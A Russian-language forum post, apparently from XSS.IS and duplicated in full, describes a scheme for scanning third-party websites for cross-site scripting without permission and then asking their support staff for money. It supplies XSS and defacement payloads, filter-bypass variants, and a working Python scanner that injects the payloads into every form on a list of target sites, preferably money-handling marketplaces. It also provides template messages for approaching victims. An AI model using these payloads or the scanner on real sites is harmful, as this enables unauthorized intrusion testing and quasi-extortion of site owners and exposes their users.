D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Author: tonorov
Forum:XSS.IS
Как можно заработать на обычной xss уязвимости
Чтож ребят, основная суть в том что мы будем искать xss уязвимости на сайтах и сообщать в техподдержку о ее находке, за что нам по факту должны отвалить бабла. Это моя первая статья написаная с моего опыта, прошу не кидаться палками.
Как будет идти ворк:
1. Ищем сайт с XSS уязвимостью
2. Связываемся с поддержкой сайта
3. Просим у них деньги за обнаружение уязвимости
Что такое xss уязвимость?
XSS (Cross-Site Scripting) - межсайтовый скриптинг, всего существует два наиболее популярных XSS уязвимостей
1. Stored XSS: вредоносный скрипт сохраняется на сервере, затем отображается пользователям, когда они посещают определённую страницу. Скрипт может храниться на целевых серверах — например, в базе данных, доске объявлений, журнале посетителей, поле комментариев и т. д. Когда другие пользователи заходят на страницу, где был сохранён этот код, он выполняется в их браузере, часто дефейсят сайты именно с помощью него
2. Reflected XSS: вредоносный скрипт передаётся пользователю через URL или форму регистрации, заказа и т. д. Например, такой вид атак распространён в соцсетях, когда пользователю отправляют ссылку с просьбой принять участие в голосовании. Вредоносные ссылки также используют в комментариях, в письмах на электронную почту и SMS-сообщениях. Как правило, ссылки похожи на адрес сайта, но в них могут быть изменены или добавлены буквы. Этот тип уязвимости мы и будем использовать при нашем ворке.
3. XSS на основе DOM — особенность данного типа атаки в том, что она эксплуатирует уязвимости DOM (очевидно). В отличии от двух других типов, в этом страница на сервере не меняется. Нам приходит совершенно безопасный HTML, но JS, который уже запустится на клиенте, отработает неправильно из‑за внедренного в него скрипта. Другими словами, главное отличие XSS на основе DOM в том, что эксплойт добавляется на страницу в рантайме, в момент запуска JS и он никогда не покидает пределы браузера.
Приступаем к главному. Как проверить сайт на xss уязвимость
Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код
><script>alert("ЛЮБОЙ ТЕКСТ")</script> можете вставить любое слово в скобки, например ><script>alert("XSS")</script> но особую роль это играть не будет
Для примера возьму сайт stolplit.ru ( сайт уже не работает)
Т.е если на сайте появляется уведомление с надписью "XSS" или любое слово которые вы ввели
Также еще один пример проверки xss уязвимости с подменой кода сайта
>"<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'>C 22.11.2024 сайт перестаёт работать</H1>";</script>
Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта.
Теперь немного про обход слабой защиты от XSS уязвимости.
На сайте может быть фильтр удаляющий «<script>» или «<, >» из запроса, обойти его можно используя немного другой JS код, например:
<img src="wrongSrc" onerror="alert('XSS')"/>
или
" autofocus onfocus=alert("XSS")//
Поиск сайтов с XSS уязвимостью
Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я сделал простой пайтон скрипт который будет сканировать введеные вами сайты на наличие уязвимости
Инструкция по установке пайтона для работы скрипта
1. Загружаем установочный файл Python3 с официального сайта
(https://www.python.org/downloads/release/python-3115/ )
2. Запускаем установочный файл и следуем иснтрукциям по установке.
* при установке необходимо выбрать опцию "Add Python 3.x to PATH".
3. После установки Python3, открываем командную строку (cmd), или termux если вы на телефоне, и вводим следующие команды для установки нужных библиотек
pip install bs4
pip install requests
pip install colorama
4. Создаем папку, например W0RK. В этой папке создаём 2 файла - main.py и site.txt (в первом файле сам скрипт, а во втором сайты которые будете сканировать)
5. В файл main.py необходимо вставить код предоставленный ниже
Код Python:
Python: Скопировать в буфер обмена
После этого копируем путь к вашему файлу нажимая на эту панель
\
после этого заходим в терминал cmd/termux и вводим cd путьквашемуфайлу, в моем случае cd C:\idkss\W0RK вводим комманду python main.py
После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.
Важное уточнение: возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), все это из-за cloudflare и т.д поэтому всегда перепроверяйте сайт вручную.
Где взять сайты?
Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/
Вводим поисковый запрос который нам нужен, советую выбирать сайты где крутятся деньги, в моем случае это маркетплейсы, выбираем мобильное устройство и регион по желанию
Получаем ссылки и копируем их в файл site.txt
Связываемся с поддержкой сайта
После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. После находки сайтов с тп ищем их электронные почты и рассылаем сообщения.
Что писать в тех. поддержку?
Первое сообщение
Здравствуйте, я нашёл довольно опасную уязвимость на вашем сайте, могу подробнее рассказать о ней
Второе сообщение
У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать <, >, /, (, ) из запроса.
Вот один из самых простых примеров эксплуатации данной уязвимости - подмена HTML кода сайта (и стилей CSS)
формируем JS код
<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'><br>C 01.05.2024 сайт перестаёт работать</H1>";</script>
вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат
(Фото с выполнением JS кода на сайте)
Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)
(Ссылка на их сайт с выполняющимся JS кодом)
На этом статья окончена, надеюсь что у кого то получится заработать денег таким способом,всем удачи!
Forum:XSS.IS
Как можно заработать на обычной xss уязвимости
Чтож ребят, основная суть в том что мы будем искать xss уязвимости на сайтах и сообщать в техподдержку о ее находке, за что нам по факту должны отвалить бабла. Это моя первая статья написаная с моего опыта, прошу не кидаться палками.
Как будет идти ворк:
1. Ищем сайт с XSS уязвимостью
2. Связываемся с поддержкой сайта
3. Просим у них деньги за обнаружение уязвимости
Что такое xss уязвимость?
XSS (Cross-Site Scripting) - межсайтовый скриптинг, всего существует два наиболее популярных XSS уязвимостей
1. Stored XSS: вредоносный скрипт сохраняется на сервере, затем отображается пользователям, когда они посещают определённую страницу. Скрипт может храниться на целевых серверах — например, в базе данных, доске объявлений, журнале посетителей, поле комментариев и т. д. Когда другие пользователи заходят на страницу, где был сохранён этот код, он выполняется в их браузере, часто дефейсят сайты именно с помощью него
2. Reflected XSS: вредоносный скрипт передаётся пользователю через URL или форму регистрации, заказа и т. д. Например, такой вид атак распространён в соцсетях, когда пользователю отправляют ссылку с просьбой принять участие в голосовании. Вредоносные ссылки также используют в комментариях, в письмах на электронную почту и SMS-сообщениях. Как правило, ссылки похожи на адрес сайта, но в них могут быть изменены или добавлены буквы. Этот тип уязвимости мы и будем использовать при нашем ворке.
3. XSS на основе DOM — особенность данного типа атаки в том, что она эксплуатирует уязвимости DOM (очевидно). В отличии от двух других типов, в этом страница на сервере не меняется. Нам приходит совершенно безопасный HTML, но JS, который уже запустится на клиенте, отработает неправильно из‑за внедренного в него скрипта. Другими словами, главное отличие XSS на основе DOM в том, что эксплойт добавляется на страницу в рантайме, в момент запуска JS и он никогда не покидает пределы браузера.
Приступаем к главному. Как проверить сайт на xss уязвимость
Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код
><script>alert("ЛЮБОЙ ТЕКСТ")</script> можете вставить любое слово в скобки, например ><script>alert("XSS")</script> но особую роль это играть не будет
Для примера возьму сайт stolplit.ru ( сайт уже не работает)
Т.е если на сайте появляется уведомление с надписью "XSS" или любое слово которые вы ввели
Также еще один пример проверки xss уязвимости с подменой кода сайта
>"<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'>C 22.11.2024 сайт перестаёт работать</H1>";</script>
Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта.
Теперь немного про обход слабой защиты от XSS уязвимости.
На сайте может быть фильтр удаляющий «<script>» или «<, >» из запроса, обойти его можно используя немного другой JS код, например:
<img src="wrongSrc" onerror="alert('XSS')"/>
или
" autofocus onfocus=alert("XSS")//
Поиск сайтов с XSS уязвимостью
Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я сделал простой пайтон скрипт который будет сканировать введеные вами сайты на наличие уязвимости
Инструкция по установке пайтона для работы скрипта
1. Загружаем установочный файл Python3 с официального сайта
(https://www.python.org/downloads/release/python-3115/ )
2. Запускаем установочный файл и следуем иснтрукциям по установке.
* при установке необходимо выбрать опцию "Add Python 3.x to PATH".
3. После установки Python3, открываем командную строку (cmd), или termux если вы на телефоне, и вводим следующие команды для установки нужных библиотек
pip install bs4
pip install requests
pip install colorama
4. Создаем папку, например W0RK. В этой папке создаём 2 файла - main.py и site.txt (в первом файле сам скрипт, а во втором сайты которые будете сканировать)
5. В файл main.py необходимо вставить код предоставленный ниже
Код Python:
Python: Скопировать в буфер обмена
Код:
import logging
import random
import requests
import time
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin
from colorama import init, Fore, Style
init(autoreset=True)
logging.basicConfig(level=logging.INFO)
# Список User-Agentov
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15",
"Mozilla/5.0 (Linux; Android 10; Pixel 3 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Mobile Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
]
def save(url):
with open("goods.txt", "a") as file:
file.write(f"{url}\n")
def get_forms(soup):
return soup.find_all("form")
def extract_form_details(form):
details = {}
action = form.attrs.get("action")
method = form.attrs.get("method", "get")
if action and not action.startswith("javascript"):
details["action"] = action.lower()
details["method"] = method.lower()
inputs = []
for input_tag in form.find_all(["input", "textarea"]):
input_type = input_tag.attrs.get("type", "text")
input_name = input_tag.attrs.get("name")
if input_name:
inputs.append({"type": input_type, "name": input_name})
details["inputs"] = inputs
return details
return None
def scan_xss(url, stop_time, timeout):
stop_time = time.time() + stop_time
session = requests.Session()
try:
# Выбор случайного User-Agent перед каждым запросом
headers = {
"User-Agent": random.choice(user_agents)
}
session.headers.update(headers)
html = session.get(url, timeout=timeout)
html.raise_for_status()
soup = bs(html.content, "html.parser")
forms = get_forms(soup)
payloads = ["<script>alert('topor')</script>", "<img src=x onerror=alert('topor')>", "<script type=text/javascript>alert('topor')</script>", "<SCRIPT>alert('topor')</SCRIPT>"]
for form in forms:
if time.time() > stop_time:
break
form_details = extract_form_details(form)
if not form_details:
continue
target_url = urljoin(url, form_details["action"])
data = {input["name"]: "" for input in form_details["inputs"] if input["name"]}
for payload in payloads:
for key in data.keys():
data[key] = payload # Меняем значение каждого поля на полезную нагрузку
if form_details["method"] == "post":
content = session.post(target_url, data=data, timeout=timeout).content.decode('latin-1')
else:
content = session.get(target_url, params=data, timeout=timeout).content.decode('latin-1')
if payload in content:
save(url)
logging.info(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}")
break
except requests.RequestException as e:
logging.error(f"Error fetching {url}: {e}")
if __name__ == "__main__":
checked_urls = set()
with open('site.txt', 'r', encoding="UTF-8") as urls:
for element in urls:
url = element.strip()
if url in checked_urls:
continue
logging.info(f"Scanning {url}")
checked_urls.add(url)
scan_xss(url, 180, 20)
После этого копируем путь к вашему файлу нажимая на эту панель
\
после этого заходим в терминал cmd/termux и вводим cd путьквашемуфайлу, в моем случае cd C:\idkss\W0RK вводим комманду python main.py
После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.
Важное уточнение: возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), все это из-за cloudflare и т.д поэтому всегда перепроверяйте сайт вручную.
Где взять сайты?
Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/
Вводим поисковый запрос который нам нужен, советую выбирать сайты где крутятся деньги, в моем случае это маркетплейсы, выбираем мобильное устройство и регион по желанию
Получаем ссылки и копируем их в файл site.txt
Связываемся с поддержкой сайта
После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. После находки сайтов с тп ищем их электронные почты и рассылаем сообщения.
Что писать в тех. поддержку?
Первое сообщение
Здравствуйте, я нашёл довольно опасную уязвимость на вашем сайте, могу подробнее рассказать о ней
Второе сообщение
У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать <, >, /, (, ) из запроса.
Вот один из самых простых примеров эксплуатации данной уязвимости - подмена HTML кода сайта (и стилей CSS)
формируем JS код
<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'><br>C 01.05.2024 сайт перестаёт работать</H1>";</script>
вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат
(Фото с выполнением JS кода на сайте)
Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)
(Ссылка на их сайт с выполняющимся JS кодом)
На этом статья окончена, надеюсь что у кого то получится заработать денег таким способом,всем удачи!